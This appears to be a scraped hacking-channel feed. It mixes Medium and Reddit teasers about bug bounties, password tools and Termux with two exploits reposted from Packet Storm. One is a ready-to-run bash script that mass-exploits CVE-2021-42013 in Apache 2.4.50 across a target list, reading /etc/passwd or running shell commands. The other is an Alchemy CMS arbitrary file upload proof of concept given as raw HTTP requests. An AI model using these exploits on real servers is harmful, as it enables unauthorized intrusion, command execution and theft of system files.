Dear Tower CommunityContinue reading on Medium » (https://medium.com/@tower_finance/tower-finance-joins-bug-bounty-with-immunefi-ee6e874e8352?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Finding and exploiting race condition vulnerability on facebook server
https://bountyget.medium.com/finding-and-exploiting-race-condition-vulnerability-on-facebook-server-af9cab131ee3?source=rss------bug_bounty-5

Finding bugs on facebook was one of the biggest dream of my life. when i read this blog 2014 and later this in 2019. If you are not…Continue reading on Medium » (https://bountyget.medium.com/finding-and-exploiting-race-condition-vulnerability-on-facebook-server-af9cab131ee3?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Wardialing and Other Phoney Stuff

https://external-preview.redd.it/--YUIvz_xqQpyBTASUntY-mFwnlym7TamUXxCRjTePk.jpg?width=320&crop=smart&auto=webp&s=f298cdbc899de89ae92c7457e9e7446950c95b0b submitted by /u/mad_ned
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is being a best hacker for prodigies, Ivy league graduates in CS and Naturally smart people. Do normal humans have chance?

It's unfair, that no best hacker exists who is just a normal guy like me. I have below average intellect, I am 23 years old and I know, I won't be a best hacker, despite I spent next 10 years.

I lost in genetic lottery, didn't start young and neither from tech field.

Every best hacker, I have read about falls into 3 categories.

1.
He started very early and was a prodigy. Marcus Hutchins is a hacker who reverse engineered Zeus malware. He started young and has extremely high IQ. Also there are many others who start young.

2.
They graduated from Ivy league schools. They have rich parents, high intellect and natural talent.

3.
They are IQ genuises. They have IQs above 140 and are naturally smart. They can master any language and can think out of box
submitted by /u/Good-Bottle7238
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Password Hacking tools

https://cdn-images-1.medium.com/max/800/1*_dv--RQu-yvQE-w0ECZEvA.jpeg
Ever since the start of technology, passwords were created to protect our accounts, but more importantly to protect our personal life…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
A Blow-By-Blow Facebook Account Hijack Attempt

https://cdn-images-1.medium.com/max/600/1*XBNCsGQS7qA48HU85QzFdg.png
Recently we posted a desk/hutch for sale on Facebook Marketplace. Only minutes later we received a Facebook Messenger message telling us…

Continue reading on SysBytes »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top Crazy Termux Commands By Using Termux App

https://cdn-images-1.medium.com/max/600/0*6fmLFW9HgVLzSd6L.jpg
Basically, termux is a set up of linux environment app and also android terminal emulator as named. We can easily install this from google…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Turncoat: a brief guide to how digital certificates turn rogue

https://cdn-images-1.medium.com/max/2600/1*_95FnSZ3PYgKvcm6m61fcQ.jpeg
Similar to how your birth certificate is proof of your identity, digital certificates are proof of identity for digital devices, servers…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Apache HTTP Server 2.4.50 Path Traversal / Code Execution

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Apache HTTP Server version 2.4.50 suffers from path traversal and code execution vulnerabilities.

MD5 | 83e881b06b8c45b03c0e1280bba0e9df

Download
# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage: https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id

exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Alchemy CMS 6.0.0 Arbitrary File Upload

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Alchemy CMS versions 2.x through 6.0.0 suffers from an arbitrary file upload vulnerability.

MD5 | 772227ba1ea679c5bb90f672fd31df27

Download
# Exploit Title: AlchemyCMS 2.x to 6.0.0 - Unrestricted File Upload (authenticated)
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://alchemy-cms.com
# Software Link: https://github.com/AlchemyCMS/alchemy_cms
# Version: from 2.0 to 6.0.0
# Tested on: Linux ruby 2.6.8p205 rails 6

in /app/models/alchemy/attachment.rb line 82 :

def allowed_filetypes
Config.get(:uploader).fetch("allowed_filetypes", {}).fetch("alchemy/attachments", [])
end
end

in /app/views/alchemy/admin/uploader/_button.html.erb in 18

configuration(:uploader)['allowed_filetypes'][object.class.model_name.collection] || ['*'] %>
POC :
POST /admin/attachments HTTP/1.1
------WebKitFormBoundarydAup7dA7ub3Weccp
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"
Content-Type: application/octet-stream

anything

------WebKitFormBoundarydAup7dA7ub3Weccp--
OR
id = 8 for old attachment

PATCH /admin/attachments/8 HTTP/1.1
------WebKitFormBoundarylYnqNR9sxMPdw7Si
Content-Disposition: form-data; name="_method"

patch
------WebKitFormBoundarylYnqNR9sxMPdw7Si
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"
Content-Type: application/octet-stream

anything
------WebKitFormBoundarylYnqNR9sxMPdw7Si--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video